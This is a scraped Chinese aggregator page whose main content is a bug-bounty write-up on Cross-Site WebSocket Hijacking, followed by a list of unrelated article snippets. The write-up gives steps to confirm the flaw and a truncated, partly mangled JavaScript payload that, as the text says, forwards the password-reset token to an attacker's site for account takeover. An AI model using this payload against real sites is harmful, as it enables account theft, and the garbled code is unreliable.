url存在宽字节跨站漏洞_利用WebSocket跨站劫持(CSWH)漏洞接管帐户

0dcb43508dd7bdbd8c96d27ae8c969c3.png

在一次漏洞悬赏活动中,我发现了一个使用WebSocket连接的应用,所以我检查了WebSocket URL,发现它很容易受到CSWH的攻击(WebSocket跨站劫持)

有关CSWH的更多详细信息,可以访问以下链接了解

https://www.christian-schneider.net/CrossSiteWebSocketHijacking.html

首先,我们假设一个应用是通过以下URL建立websocket连接的 wss://website.com。关于验证URL是否存在CSWH漏洞可以遵循以下步骤:

  1. 在浏览器上打开Web应用并登录。
  2. 在新选项卡中输入http://websocket.org/echo.html,输入WebSocket URL并单击“连接”。
  3. 建立连接后,你必须能够从此页面向服务器发送数据帧。接着,使用burpsuite的proxy捕获websocket数据帧进行调试,多次发送,查看服务器如何响应。如果burp的回应和网页的回应一样,则表示目标很可能容易受到WebSocket跨站劫持的攻击
326df8f03980177ad9fea6a1f84dba5c.png

通过以上步骤,我确定应用存在CSWH漏洞。

一旦在新选项卡上建立了WebSocket连接,我就收到了下面的websocket响应

ede207c08e897be6a0b629657e71ae88.png

从上述响应中你可看到,参数“_forgotPasswordId”的值为“null”。

现在我需要“_forgotPasswordId”参数来发送恶意请求来重置密码。

58f19ff24cc7a6a499541b0d89232ad9.png

我再次测试了Websocket连接,这次观察到了如下回应,它包含一个forgetPasswordID令牌

07e4818cbd7c86372c4be5157d1dc8df.png

利用

现在准备CSWH漏洞的利用链,重置密码接管帐户。以下由HTML代码组成的payload会发送XHR请求,并把回应导向攻击者控制的站点。

 Testing var wsUri = "wss://host.com"; var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.on error = function(evt) { on error(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend('websocket fr ame '); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) {var xhr = new xm lHttpRequest();xhr.open("POST

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/370242.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php 数组对比 unset,如何区分PHP中unset,array_splice的区别

1.使用的函数a.函数unset()unset ( mixed $var , mixed $... ? ) : voidunset()销毁指定的变量。b.函数array_slice()array_splice(array,start,length,array)array表示数组。start表示删除元素的开始位置。length表示被移除的元素个数,也是被返回数组的长度。(可…

MapReduce算法–二级排序

我们将继续进行有关实现MapReduce算法的系列文章,该系列可在使用MapReduce进行数据密集型文本处理中找到。 本系列的其他文章: 使用MapReduce进行数据密集型文本处理 使用MapReduce进行数据密集型文本处理-本地聚合第二部分 使用Hadoop计算共现矩阵 …

Redis 字符串(String)

Redis 字符串(String) Redis 字符串数据类型的相关命令用于管理 redis 字符串值,基本语法如下: 语法 redis 127.0.0.1:6379> COMMAND KEY_NAME 实例 redis 127.0.0.1:6379> SET runoobkey redis OK redis 127.0.0.1:6379> GET runoobkey "…

前端基础-CSS的各种选择器的特点以及CSS的三大特性

一、 基本选择器二、 后代选择器、子元素选择器三、 兄弟选择器四、 交集选择器与并集选择器五、 序列选择器六、 属性选择器七、 伪类选择器八、 伪元素选择器九、 CSS三大特性 一、 基本选择器 1、id选择器 #1、作用:根据指定的id名称,在当前界面中找…

Php流式 大文件,如何使用PHP解析XML大文件

如果使用 PHP 解析 XML 的话,那么常见的选择有如下几种:DOM、SimpleXML、XMLReader。如果要解析 XML 大文件的话,那么首先要排除的是 DOM,因为使用 DOM 的话,需要把整个文件全部加载才能解析,效率堪忧&…

python 白盒测试_白盒测试教程 - 颜丽的个人空间 - OSCHINA - 中文开源技术交流社区...

总共贴了39节,后续还有很长,共122节,文章名为‘白盒测试教程’1、白盒测试概念2、测试覆盖标准3、逻辑驱动测试4、基本路径测试白盒测试概念1、白盒测试也称结构测试或逻辑驱动测试,是一种测试用例设计方法,它从程序的…

Oracle 分析函数及常用函数

什么叫分析函数(Analytic function)? Oracle从8.1.6开始提供分析函数,分析函数用于计算基于组的某种聚合值,它和聚合函数的不同之处是 对于每个组返回多行,而聚合函数对于每个组只返回一行。 基本语法 function_name(arg1,arg2,..…

ScanTailor-ScanTailor 强大的多方位的满足处理扫描图片的需求

ScanTailor 强大的多方位的满足处理扫描图片的需求ScanTailor 能做什么?批量或单张或选择区间旋转图片自动切割页面,同时提供手动选项自动识别图像歪斜角度,同时提供手动选项自动识别正文内容裁剪,同时提供手动选项设置正文上下左…

使用JavaCV进行手和手指检测

这篇文章是Andrew Davison博士发布的有关自然用户界面(NUI)系列的一部分,内容涉及使用JavaCV从网络摄像头视频提要中检测手。 注意:可以从http://fivedots.coe.psu.ac.th/~ad/jg/nui055/下载本章的所有源代码。 第5章的彩色斑点检…

oracle+trace参数设置,Oracle autotrace参数详解

SQL> set autotrace traceonly explainSP2-0613: 无法验证 PLAN_TABLE 格式或实体cuug每周五晚8点都有免费网络课程,如需了解可点击cuug官网。SP2-0611: 启用EXPLAIN报告时出错解决方法:1. 以SYS用户登录CONNECT / as SYSDBA ;1. 创建PLAN_TABL…

git提交代码到码云

日常代码一般提交到github比较多,但我还是钟爱马爸爸,没错就是码云。 码云是中文版的代码托管的网站,不存在打开网速问题,使用也蛮方便的,日常自己保存托管代码已经足够,平时使用git提交代码到码云是非常方…

不能装载文档控件。请在检查浏览器的选项中检查浏览器的安全设置_【2020年网络安全宣传周】如何正确设置浏览器...

李夏是一个公司的职员,一天晚上加班赶制文档,由于要向客户汇报产品情况,需要获取大量网上信息,然而在制作中却发现浏览器的网页打不开了。第二天原计划向客户展示的材料未能完整汇总,客户见面对接效果也打了折扣。在当…

矩形碰撞检测和圆形碰撞检测。

矩形碰撞检测&#xff1a; <!DOCTYPE html><html lang"en"><head><meta charset"UTF-8"><title>Document</title><style type"text/css">body { margin: 0;}#wrap { margin: 50px auto; position: re…

MonogoDB 查询小结

MonogoDB是一种NoSQL数据库 优点: 1.数据的存储以json的文档进行存储(面向文档存储) 2.聚合框架查询速度快 3.高效存储二进制大对象 缺点: 1.不支持事务 2.文件存储空间占用过大 案例学习 例1:单个变量查询(查找出制造商字段为“Porsche”的所有汽车的查询) {"layout"…

用装饰器设计模式装饰

装饰图案是广泛使用的结构图案之一。 此模式在运行时动态更改对象的功能&#xff0c;而不会影响对象的现有功能。 简而言之&#xff0c;此模式通过包装将附加功能添加到对象。 问题陈述&#xff1a; 想像一下我们有一个比萨饼&#xff0c;该比萨饼已经用番茄和奶酪烤制的情况。…

linux 内存强度测试软件,linux下的CPU、内存、IO、网络的压力测试工具与方法介绍...

使用工具stressCentos# yum -y install stressUbantu# apt-get install stress# stress --helpstress imposes certain types of compute stress on your systemUsage: stress [OPTION [ARG]] ...-?, --help show this help statement--version show version statement-v, --v…

vcpkg安装_微软牌包管理器vcpkg更新及路线图计划

蝎子vcpkg是一套跨平台&#xff0c;开源的C/C库管理器&#xff0c;今天的这篇文章是有关vcpkg主题的2020年4月博文更新。在这篇文章中&#xff0c;我们将分享有关vcpkg 2020.04发布版本的一些信息以及vcpkg的路线图(roadmap)&#xff0c;我们会在这里持续地发布有关vcpkg的最新…

CSS 盒模型与box-sizing

一、盒模型 一个web页面由许多html元素组成&#xff0c;而每一个html元素都可以表示为一个矩形的盒子&#xff0c;CSS盒模型正是描述这些矩形盒子的存在。 MDN的描述&#xff1a; When laying out a document, the browsers rendering engine represents each element as a r…

Java课程设计 购物车系统(个人博客) 201521123052 蓝锦明

1. 团队课程设计博客链接 课程设计团队博客 2. 个人负责模块或任务说明 &#xff08;1&#xff09;制作图形菜单引导界面 &#xff08;2&#xff09;定义各获取和输出类函数 3. 自己的代码提交记录截图 4. 自己负责模块或任务详细说明 import java.text.NumberFormat; public c…

7-12(图) 社交网络图中结点的“重要性”计算(30 分)

在社交网络中&#xff0c;个人或单位&#xff08;结点&#xff09;之间通过某些关系&#xff08;边&#xff09;联系起来。他们受到这些关系的影响&#xff0c;这种影响可以理解为网络中相互连接的结点之间蔓延的一种相互作用&#xff0c;可以增强也可以减弱。而结点根据其所处…